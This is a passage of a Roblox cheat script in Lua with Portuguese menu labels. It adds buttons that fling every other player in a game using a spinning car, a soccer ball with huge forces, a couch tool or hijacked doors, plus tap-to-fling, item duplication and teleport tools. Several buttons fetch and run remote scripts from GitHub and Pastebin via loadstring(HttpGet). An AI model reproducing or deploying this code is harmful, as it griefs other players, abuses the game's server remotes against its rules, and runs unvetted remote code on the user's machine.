PCar = Vehicles:FindFirstChild(Player.Name.."Car")
task.wait(0.5)
local Seat = PCar:FindFirstChild("Body") and PCar.Body:FindFirstChild("VehicleSeat")
if Seat then
repeat
task.wait()
RootPart.CFrame = Seat.CFrame * CFrame.new(0, math.random(-1, 1), 0)
until Humanoid.Sit
end
end
end
task.wait(0.5)
PCar = Vehicles:FindFirstChild(Player.Name.."Car")
if PCar then
if not Humanoid.Sit then
local Seat = PCar:FindFirstChild("Body") and PCar.Body:FindFirstChild("VehicleSeat")
if Seat then
repeat
task.wait()
RootPart.CFrame = Seat.CFrame * CFrame.new(0, math.random(-1, 1), 0)
until Humanoid.Sit
end
end
end
local SpinGyro = Instance.new("BodyGyro")
SpinGyro.Parent = PCar.PrimaryPart
SpinGyro.MaxTorque = Vector3.new(1e7, 1e7, 1e7)
SpinGyro.P = 1e7
SpinGyro.CFrame = PCar.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(90), 0)
local function flingPlayer(TargetC, TargetRP, TargetH)
Angles = 0
local endTime = tick() + 1
while tick() < endTime do
Angles = Angles + 100
task.wait()
local kill = function(alvo, pos, angulo)
PCar:SetPrimaryPartCFrame(CFrame.new(alvo.Position) * pos * angulo)
end
kill(TargetRP, CFrame.new(0, 3, 0), CFrame.Angles(math.rad(Angles), 0, 0))
kill(TargetRP, CFrame.new(0, -1.5, 2), CFrame.Angles(math.rad(Angles), 0, 0))
kill(TargetRP, CFrame.new(2, 1.5, 2.25), CFrame.Angles(math.rad(50), 0, 0))
kill(TargetRP, CFrame.new(-2.25, -1.5, 2.25), CFrame.Angles(math.rad(30), 0, 0))
kill(TargetRP, CFrame.new(0, 1.5, 0), CFrame.Angles(math.rad(Angles), 0, 0))
kill(TargetRP, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(Angles), 0, 0))
end
end
for _, Target in pairs(game.Players:GetPlayers()) do
if Target ~= Player then
local TargetC = Target.Character
local TargetH = TargetC and TargetC:FindFirstChildOfClass("Humanoid")
local TargetRP = TargetC and TargetC:FindFirstChild("HumanoidRootPart")
if TargetC and TargetH and TargetRP then
flingPlayer(TargetC, TargetRP, TargetH)
end
end
end
task.wait(0.5)
PCar:SetPrimaryPartCFrame(CFrame.new(0, 0, 0))
task.wait(0.5)
Humanoid.Sit = false
task.wait(0.5)
RootPart.CFrame = OldPos
SpinGyro:Destroy()
end
})
local Button = Tabs.TT:AddButton({Translator:traduzir("Joga bola <Todos>"), function()
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterGui = game:GetService("StarterGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local localPlayer = Players.LocalPlayer
local BALL_PATH = "WorkspaceCom/001_SoccerBalls/Soccer" .. localPlayer.Name
getgenv().Target = nil
local ball, connection
local isFlinging = false
--[[ local function getThumbnail(player)
do
local id = player.UserId
local thumb, _ = Players:GetUserThumbnailAsync(id, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420)
return thumb
end
end
local function notify(player, text)
do
local icon = getThumbnail(player)
StarterGui:SetCore("SendNotification", {
Title = "Fling Ball All",
Text = text,
Duration = 2,
Icon = icon
})
end
end
]]
local function getSoccerBall()
do
local argsClear = { "PlayerWantsToDeleteTool", "SoccerBall" }
local argsTool = { "PickingTools", "SoccerBall" }
ReplicatedStorage.RE:FindFirstChild("1Clea1rTool1s"):FireServer(unpack(argsClear))
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer(unpack(argsTool))
repeat task.wait() until localPlayer.Backpack:FindFirstChild("SoccerBall")
local tool = localPlayer.Backpack:FindFirstChild("SoccerBall")
if not tool then return warn("Bola não encontrada.") end
tool.Parent = localPlayer.Character
task.wait(0.25)
end
end
local function clearForces(targetBall)
do
for _, obj in ipairs(targetBall:GetChildren()) do
if obj:IsA("BodyForce") or obj:IsA("BodyVelocity") or obj:IsA("BodyAngularVelocity") then
obj:Destroy()
end
end
end
end
local function ignorePlayerCollision(targetBall, targetCharacter)
do
for _, part in ipairs(targetCharacter:GetDescendants()) do
if part:IsA("BasePart") then
local constraint = Instance.new("NoCollisionConstraint")
constraint.Part0 = targetBall
constraint.Part1 = part
constraint.Parent = targetBall
end
end
end
end
local function applyFlingForces(targetBall)
do
clearForces(targetBall)
local bodyForce = Instance.new("BodyForce")
bodyForce.Force = Vector3.new(9e8, 9e8, 9e8)
bodyForce.Parent = targetBall
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.Velocity = Vector3.new(9e8, 9e8, 9e8)
bodyVelocity.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bodyVelocity.P = 1e7
bodyVelocity.Parent = targetBall
end
end
local function setupBall(targetPlayer)
do
local character = targetPlayer.Character or targetPlayer.CharacterAdded:Wait()
local torso = character:FindFirstChild("HumanoidRootPart")
if not torso then return end
local success, foundBall = pcall(function()
local obj = workspace
for _, part in ipairs(BALL_PATH:split("/")) do
obj = obj:WaitForChild(part, 5)
end
return obj
end)
if not success or not foundBall then return end
ball = foundBall
ball.Anchored = false
ball.CanCollide = true
ball.Massless = false
clearForces(ball)
ignorePlayerCollision(ball, character)
applyFlingForces(ball)
if connection then connection:Disconnect() end
local lastPos = torso.Position
local toggleY = true
connection = RunService.Heartbeat:Connect(function()
if not ball or not torso then
connection:Disconnect()
return
end
local currentPos = torso.Position
local velocity = (currentPos - lastPos).Magnitude
lastPos = currentPos
local basePos = torso.Position + Vector3.new(0, -0.5, 0)
if velocity > 1 then
local forward = torso.CFrame.LookVector
ball.CFrame = CFrame.new(basePos + forward * 10)
else
local yOffset = toggleY and 3 or -3
ball.CFrame = CFrame.new(basePos + Vector3.new(0, yOffset, 0))
toggleY = not toggleY
end
end)
end
end
local function wasFlinged(targetPlayer)
do
local hrp = targetPlayer.Character and targetPlayer.Character:FindFirstChild("HumanoidRootPart")
return hrp and math.abs(hrp.Velocity.Y) > 200
end
end
local function startFlingBallAll()
do
isFlinging = true
getSoccerBall()
local allPlayers = Players:GetPlayers()
local flingCount = 0
local totalPlayers = #allPlayers - 1
for _, player in ipairs(allPlayers) do
if player ~= localPlayer then
getgenv().Target = player.Name
setupBall(player)
local t = 0
while t < 3 and player.Character and player.Character:FindFirstChild("Humanoid") do
if wasFlinged(player) then break end
task.wait(0.2)
t += 0.2
end
if wasFlinged(player) then
flingCount += 1
end
end
end
isFlinging = false
if connection then connection:Disconnect() end
end
end
if not isFlinging then
startFlingBallAll()
end
end})
Tabs.TT:AddButton({Translator:traduzir("Matar Geral v2 <Couch>"), function()
local soundIds = {
"128703509251740",
"132885275273014",
"7772283448",
"17517505567"
}
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local playersOnCouch = {}
local function playRandomSound()
local randomSoundId = soundIds[math.random(1, #soundIds)]
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. randomSoundId
sound.Volume = 0.5
sound.Parent = game.Workspace
sound:Play()
game:GetService("Debris"):AddItem(sound, 10)
end
local function isCouch(part)
if not part then return false end
local name = part.Name:lower()
return name:find("couch") or name:find("sofa") or name:find("chair") or name:find("seat")
end
local function monitorCouchSitting()
RunService.Heartbeat:Connect(function()
for _, player in pairs(Players:GetPlayers()) do
if player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.Sit then
local seatPart = humanoid.SeatPart
if seatPart and isCouch(seatPart) then
if not playersOnCouch[player.UserId] then
playersOnCouch[player.UserId] = true
playRandomSound()
end
else
playersOnCouch[player.UserId] = nil
end
else
playersOnCouch[player.UserId] = nil
end
end
end
end)
end
monitorCouchSitting()
Players.PlayerRemoving:Connect(function(player)
playersOnCouch[player.UserId] = nil
end)
local function HandleToolV3()
local args = {
[1] = "PlayerWantsToDeleteTool",
[2] = "Couch"
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Clea1rTool1s"):FireServer(unpack(args))
task.wait(0.5)
local args = {
[1] = "PickingTools",
[2] = "Couch"
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
if game.Players.LocalPlayer.Backpack:FindFirstChild("Couch") then
game.Players.LocalPlayer.Backpack.Couch.Grip = CFrame.new(0, 2, -2.5)
end
local function equiptool()
for i, v in ipairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == "Couch" then
v.Parent = game.Players.LocalPlayer.Character
end
end
end
equiptool()
end
if getgenv()._FlingAllRunning then
return
end
getgenv()._FlingAllRunning = true
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local Targets = {"all"}
local AllBool = false
local GetPlayer = function(Name)
Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,player) then table.remove(GetPlayers,table.find(GetPlayers,player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
for _,x in next, Players:GetPlayers() do
if x ~= player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
print(_Title)
print(_Text)
print(Time)
end
local SkidFling = function(TargetPlayer)
if not TargetPlayer or not TargetPlayer.Character then
return
end
HandleToolV3()
task.wait(0.5)
local Character = player.Character
if not Character then return end
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
if not Humanoid or not RootPart then
return
end
local TCharacter = TargetPlayer.Character
if not TCharacter then return end
local THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
local TRootPart = THumanoid and THumanoid.RootPart
local THead = TCharacter:FindFirstChild("Head")
local Accessory = TCharacter:FindFirstChildOfClass("Accessory")
local Handle = Accessory and Accessory:FindFirstChild("Handle")
if not THumanoid or not TRootPart then
return
end
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
if not BasePart or not BasePart.Parent then return end
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
if not BasePart or not BasePart.Parent then return end
local TimeToWait = 10
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid and BasePart and BasePart.Parent then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until (not BasePart or not BasePart.Parent or not TargetPlayer or not TargetPlayer.Parent or not TargetPlayer.Character or TargetPlayer.Character ~= TCharacter or not THumanoid or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait) or BasePart.Velocity.Magnitude > 500
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(1e9, 1e9, 1e9)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
end
if BV then BV:Destroy() end
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
if getgenv().OldPos then
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
end
end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
if AllBool then
for _,x in next, Players:GetPlayers() do
if x ~= player then
SkidFling(x)
end
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= player then
if GetPlayer(x).UserId ~= 0/0 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
end
end
end
getgenv()._FlingAllRunning = false
workspace.FallenPartsDestroyHeight = -500
end})
end
do
local LocalPlayer = Players.LocalPlayer
local Camera = Workspace.CurrentCamera
local CONFIG = {
FLING_VELOCITY = Vector3.new(9e8, 9e8, 9e8),
MAX_FORCE = Vector3.new(math.huge, math.huge, math.huge),
POWER = 9e900,
MIN_FLING_SPEED = 1000,
TIMEOUT_SECONDS = 5,
BALL_PHYSICS = PhysicalProperties.new(0.0001, 0, 0),
ROTATION_SPEED = Vector3.new(45, 60, 30)
}
local GameState = {
adminToolEquipped = false,
controlledDoors = {},
blackHole = nil,
baseAttachment = nil
}
local Utils = {}
function Utils.safeWait(condition, timeout)
local startTime = tick()
timeout = timeout or 5
repeat
task.wait()
until condition() or (tick() - startTime) > timeout
return condition()
end
function Utils.getPlayerCharacter(player)
return player and player.Character
end
function Utils.validateCharacter(character)
if not character then return false end
return character:FindFirstChild("HumanoidRootPart") and character:FindFirstChild("Humanoid")
end
function Utils.createBodyVelocity(parent)
local oldBV = parent:FindFirstChildWhichIsA("BodyVelocity")
if oldBV then oldBV:Destroy() end
local bv = Instance.new("BodyVelocity")
bv.Name = "FlingPower"
bv.Velocity = CONFIG.FLING_VELOCITY
bv.MaxForce = CONFIG.MAX_FORCE
bv.P = CONFIG.POWER
bv.Parent = parent
return bv
end
function Utils.raycastFromScreen(position)
local ray = Camera:ScreenPointToRay(position.X, position.Y)
return Workspace:Raycast(ray.Origin, ray.Direction * 1000)
end
function Utils.getPlayerFromHit(hit)
if not hit or not hit.Instance then return nil end
local model = hit.Instance:FindFirstAncestorOfClass("Model")
return Players:GetPlayerFromCharacter(model)
end
local BallSystem = {}
function BallSystem.getSoccerBall(player)
local character = Utils.getPlayerCharacter(player)
local backpack = player:WaitForChild("Backpack")
local serverBalls = Workspace:WaitForChild("WorkspaceCom"):FindFirstChild("001_SoccerBalls")
if not character or not serverBalls then return nil end
local existingBall = serverBalls:FindFirstChild("Soccer" .. player.Name)
if existingBall then return existingBall end
if not backpack:FindFirstChild("SoccerBall") and not character:FindFirstChild("SoccerBall") then
local success, error = pcall(function()
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "SoccerBall")
end)
if not success then
warn("Erro ao pegar bola: " .. tostring(error))
return nil
end
end
if not Utils.safeWait(function()
return backpack:FindFirstChild("SoccerBall") or character:FindFirstChild("SoccerBall")
end) then
return nil
end
local ballTool = backpack:FindFirstChild("SoccerBall")
if ballTool then ballTool.Parent = character end
if not Utils.safeWait(function()
return serverBalls:FindFirstChild("Soccer" .. player.Name)
end) then
return nil
end
return serverBalls:FindFirstChild("Soccer" .. player.Name)
end
function BallSystem.prepareBall(ball, invisible)
if not ball then return false end
ball.CanCollide = false
ball.Massless = true
ball.CustomPhysicalProperties = CONFIG.BALL_PHYSICS
if invisible then
ball.Transparency = 1
end
return true
end
function BallSystem.flingWithBall(target, invisible, oscillate)
if target == LocalPlayer then return false end
local targetChar = Utils.getPlayerCharacter(target)
if not Utils.validateCharacter(targetChar) then return false end
local ball = BallSystem.getSoccerBall(LocalPlayer)
if not ball or not BallSystem.prepareBall(ball, invisible) then return false end
local targetHRP = targetChar.HumanoidRootPart
local targetHum = targetChar.Humanoid
local localHum = LocalPlayer.Character.Humanoid
Utils.createBodyVelocity(ball)
Camera.CameraSubject = targetHum
local startTime = tick()
local success = false
repeat
if targetHRP.Velocity.Magnitude > 0 then
local pos = targetHRP.Position + (targetHRP.Velocity / 1.5)
if oscillate then
local altura = math.sin(tick() * 8) * 3
ball.CFrame = CFrame.new(pos.X, pos.Y + altura, pos.Z)
else
ball.CFrame = CFrame.new(pos)
end
else
for _, part in pairs(targetChar:GetChildren()) do
if part:IsA("BasePart") and part.CanCollide and not part.Anchored then
ball.CFrame = part.CFrame
break
end
end
end
ball.Orientation = ball.Orientation + CONFIG.ROTATION_SPEED
if targetHRP.Velocity.Magnitude > CONFIG.MIN_FLING_SPEED then
success = true
break
end
task.wait(1/6000)
until targetHum.Health <= 0 or
not targetChar:IsDescendantOf(Workspace) or
target.Parent ~= Players or
(tick() - startTime) > CONFIG.TIMEOUT_SECONDS
Camera.CameraSubject = localHum
return success
end
local DoorSystem = {}
function DoorSystem.initialize()
GameState.blackHole = Instance.new("Part")
GameState.blackHole.Size = Vector3.new(100000, 100000, 100000)
GameState.blackHole.Transparency = 1
GameState.blackHole.Anchored = true
GameState.blackHole.CanCollide = false
GameState.blackHole.Name = "BlackHoleTarget"
GameState.blackHole.Parent = Workspace
GameState.baseAttachment = Instance.new("Attachment")
GameState.baseAttachment.Name = "BlackHoleAttachment"
GameState.baseAttachment.Parent = GameState.blackHole
RunService.Heartbeat:Connect(function()
local character = Utils.getPlayerCharacter(LocalPlayer)
if character and character:FindFirstChild("HumanoidRootPart") then
GameState.blackHole.CFrame = character.HumanoidRootPart.CFrame
end
end)
for _, obj in ipairs(Workspace:GetDescendants()) do
DoorSystem.setupDoor(obj)
end
Workspace.DescendantAdded:Connect(DoorSystem.setupDoor)
end
function DoorSystem.setupDoor(part)
if not part:IsA("BasePart") or
part.Anchored or
not string.find(part.Name, "Door") or
part:FindFirstChild("DoorAttached") then
return
end
part.CanCollide = false
for _, obj in ipairs(part:GetChildren()) do
if obj:IsA("AlignPosition") or obj:IsA("Torque") or obj:IsA("Attachment") then
obj:Destroy()
end
end
local marker = Instance.new("BoolValue", part)
marker.Name = "DoorAttached"
local attachment = Instance.new("Attachment", part)
local align = Instance.new("AlignPosition", part)
align.Attachment0 = attachment
align.Attachment1 = GameState.baseAttachment
align.MaxForce = 1e20
align.MaxVelocity = math.huge
align.Responsiveness = 99999
local torque = Instance.new("Torque", part)
torque.Attachment0 = attachment
torque.RelativeTo = Enum.ActuatorRelativeTo.World
torque.Torque = Vector3.new(
math.random(-10e5, 10e5) * 10000,
math.random(-10e5, 10e5) * 10000,
math.random(-10e5, 10e5) * 10000
)
table.insert(GameState.controlledDoors, {Part = part, Align = align})
end
function DoorSystem.flingWithDoors(target)
if target == LocalPlayer then return false end
local targetChar = Utils.getPlayerCharacter(target)
if not Utils.validateCharacter(targetChar) then return false end
local targetHRP = targetChar.HumanoidRootPart
local targetAttachment = targetHRP:FindFirstChild("TargetAttachment")
if not targetAttachment then
targetAttachment = Instance.new("Attachment", targetHRP)
targetAttachment.Name = "TargetAttachment"
end
for _, data in ipairs(GameState.controlledDoors) do
if data.Align and data.Align.Parent then
data.Align.Attachment1 = targetAttachment
end
end
local startTime = tick()
local success = false
while tick() - startTime < CONFIG.TIMEOUT_SECONDS do
if targetHRP.Velocity.Magnitude >= 20 then
success = true
break
end
RunService.Heartbeat:Wait()
end
for _, data in ipairs(GameState.controlledDoors) do
if data.Align and data.Align.Parent then
data.Align.Attachment1 = GameState.baseAttachment
end
end
return success
end
local ToolSystem = {}
function ToolSystem.createTool(name, iconId, onEquipped, onUnequipped)
local backpack = LocalPlayer:WaitForChild("Backpack")
local existingTool = backpack:FindFirstChild(name)
if existingTool then existingTool:Destroy() end
local tool = Instance.new("Tool")
tool.Name = name
tool.RequiresHandle = iconId ~= nil
tool.CanBeDropped = false
if iconId then
local handle = Instance.new("Part")
handle.Name = "Handle"
handle.Size = Vector3.new(1, 1, 1)
handle.Transparency = 1
handle.Parent = tool
local decal = Instance.new("Decal")
decal.Texture = "rbxassetid://" .. iconId
decal.Face = Enum.NormalId.Front
decal.Parent = handle
end
tool.Equipped:Connect(onEquipped or function() end)
tool.Unequipped:Connect(onUnequipped or function() end)
tool.Parent = backpack
return tool
end
local InputHandler = {}
function InputHandler.handleTouch(touches, processed, callback)
if processed then return end
local hit = Utils.raycastFromScreen(touches[1])
local player = Utils.getPlayerFromHit(hit)
if player and player ~= LocalPlayer then
callback(player)
end
end
Tabs.TT:AddSection({Translator:traduzir("Matar Jogadores Com Clique")})
Tabs.TT:AddButton({
Name = Translator:traduzir("Clique Admin <Fling>"),
Callback = function()
Window:Dialog({
Title = Translator:traduzir("Admin Fling"),
Text = Translator:traduzir("Equipe a bola e use o clique para arremessar jogadores. Ferramenta com câmera automática."),
Options = {
{"Link Discord", function()
copyDiscordLink()
end},
{"Ativar", function()
ToolSystem.createTool(
"Admin Fling",
"775552544",
function() GameState.adminToolEquipped = true end,
function() GameState.adminToolEquipped = false end
)
end}
}
})
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Clique Portas <Fling>"),
Callback = function()
DoorSystem.initialize()
end
})
UserInputService.TouchTap:Connect(function(touches, processed)
if processed then return end
if GameState.adminToolEquipped then
InputHandler.handleTouch(touches, processed, function(player)
spawn(function()
BallSystem.flingWithBall(player, true, false)
end)
end)
end
if GameState.blackHole then
InputHandler.handleTouch(touches, processed, function(player)
spawn(function()
DoorSystem.flingWithDoors(player)
end)
end)
end
end)
local jogadores = game:GetService("Players")
local rep = game:GetService("ReplicatedStorage")
local mundo = game:GetService("Workspace")
local entrada = game:GetService("UserInputService")
local cam = mundo.CurrentCamera
local eu = jogadores.LocalPlayer
local toggleFlingBallActive = false
Tabs.TT:AddToggle({
Name = Translator:traduzir("Clique Bola <Fling>"),
Description = Translator:traduzir("trolar jogadores usando isso apenas damdo clique"),
Default = false,
Callback = function(valor)
toggleFlingBallActive = valor
end
})
local function FlingBall(target)
local player = eu
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local hrp = character:WaitForChild("HumanoidRootPart")
local backpack = player:WaitForChild("Backpack")
local ServerBalls = mundo.WorkspaceCom:FindFirstChild("001_SoccerBalls")
if not ServerBalls then return end
local function GetBall()
if not backpack:FindFirstChild("SoccerBall") and not character:FindFirstChild("SoccerBall") then
rep.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "SoccerBall")
end
repeat task.wait() until backpack:FindFirstChild("SoccerBall") or character:FindFirstChild("SoccerBall")
local ballTool = backpack:FindFirstChild("SoccerBall")
if ballTool then ballTool.Parent = character end
repeat task.wait() until ServerBalls:FindFirstChild("Soccer" .. player.Name)
return ServerBalls:FindFirstChild("Soccer" .. player.Name)
end
local Ball = ServerBalls:FindFirstChild("Soccer" .. player.Name) or GetBall()
if not Ball then return end
Ball.CanCollide = false
Ball.Massless = true
Ball.CustomPhysicalProperties = PhysicalProperties.new(0.0001, 0, 0)
if target ~= player then
local tchar = target.Character
if not tchar then return end
local troot = tchar:FindFirstChild("HumanoidRootPart")
local thum = tchar:FindFirstChild("Humanoid")
if not troot or not thum then return end
local bvAntigo = Ball:FindFirstChildWhichIsA("BodyVelocity")
if bvAntigo then bvAntigo:Destroy() end
local bv = Instance.new("BodyVelocity")
bv.Name = "FlingPower"
bv.Velocity = Vector3.new(9e8, 9e8, 9e8)
bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bv.P = 9e900
bv.Parent = Ball
repeat
local pos = troot.Position + (troot.Velocity / 1.5)
local tempo = tick()
local altura = math.sin(tempo * 7) * 2
Ball.CFrame = CFrame.new(pos.X, pos.Y + altura, pos.Z)
Ball.Orientation += Vector3.new(45, 60, 30)
task.wait(1 / 5000)
until troot.Velocity.Magnitude > 1000 or thum.Health <= 0 or not tchar:IsDescendantOf(mundo) or target.Parent ~= jogadores
end
end
entrada.TouchTap:Connect(function(toques, processado)
if not toggleFlingBallActive or processado then return end
local pos = toques[1]
local raio = cam:ScreenPointToRay(pos.X, pos.Y)
local hit = mundo:Raycast(raio.Origin, raio.Direction * 1000)
if hit and hit.Instance then
local modelo = hit.Instance:FindFirstAncestorOfClass("Model")
local jogador = jogadores:GetPlayerFromCharacter(modelo)
if jogador and jogador ~= eu then
FlingBall(jogador)
end
end
end)
end
Tabs.TT:AddSection({Translator:traduzir("Items Tool")})
local Button = Tabs.TT:AddButton({Translator:traduzir("Telecinese"), function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/SAZXHUB/Control-update/main/README.md', true))()
end})
Tabs.TT:AddButton({
Name = Translator:traduzir("ShiftLock"),
Callback = function()
loadstring(game:HttpGet("https://pastebin.com/raw/N2tiHgyv"))()
end
})
Tabs.TT:AddButton({
Translator:traduzir("Guitarra elétrica + Violão - Acustic"),
function()
local plr = game.Players.LocalPlayer
local hrp = plr.Character.HumanoidRootPart
hrp.CFrame = CFrame.new(-384.5757, 18.5075, 212.3876)
wait(0.1)
local function pickTool(toolName)
local args = { [1] = "PickingTools", [2] = toolName }
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Too1l"):InvokeServer(unpack(args))
wait(0.1)
end
pickTool("Guitar")
pickTool("ElectricGuitar")
local function duplicateItem(itemName)
local player = game.Players.LocalPlayer
local backpack = player:WaitForChild("Backpack")
local itemToDuplicate = backpack:FindFirstChild(itemName)
if itemToDuplicate then
local clonedItem = itemToDuplicate:Clone()
clonedItem.Parent = backpack
end
end
duplicateItem("Guitar")
duplicateItem("ElectricGuitar")
local function equiparItem(itemName)
local player = game.Players.LocalPlayer
local backpack = player:FindFirstChild("Backpack")
if backpack then
local item = backpack:FindFirstChild(itemName)
if item then
item.Parent = player.Character
end
end
end
equiparItem("Guitar")
equiparItem("ElectricGuitar")
hrp.CFrame = CFrame.new(0, 50, 0)
wait(0.1)
local function equipAllItems()
local player = game.Players.LocalPlayer
local backpack = player:WaitForChild("Backpack")
for _, item in ipairs(backpack:GetChildren()) do
item.Parent = player.Character
end
end
equipAllItems()
local ContextActionService = game:GetService("ContextActionService")
ContextActionService:BindAction("EquipAll", function(_, inputState)
if inputState == Enum.UserInputState.Begin then
equipAllItems()
end
end, false, Enum.KeyCode.E)
end
})
local Button = Tabs.TT:AddButton({Translator:traduzir("Pega Sofá"), function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/realgengar/scripts/refs/heads/main/Brancos.lua", true))()
end})
local Button = Tabs.TT:AddButton({Translator:traduzir("Pegar Teleport tool"), function()
local mouse = game.Players.LocalPlayer:GetMouse()
local tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end})
do
Tabs.TT:AddSection({Translator:traduzir("Orbitar")})
local orbit = nil
local orbiting = false
local tweenSpeed = 20
local playerDropdown = Tabs.TT:AddDropdown({
Name = Translator:traduzir("Selecione Um Jogador"),
Description = Translator:traduzir("Selecione um jogador para orbitar"),
Options = {},
Default = "Players",
Callback = function(value)
orbit = Players:FindFirstChild(value)
end
})
Tabs.TT:AddSlider({
Name = Translator:traduzir("Velocidade <Tween>"),
Min = 1,
Max = 9999,
Increase = 1,
Default = 20,
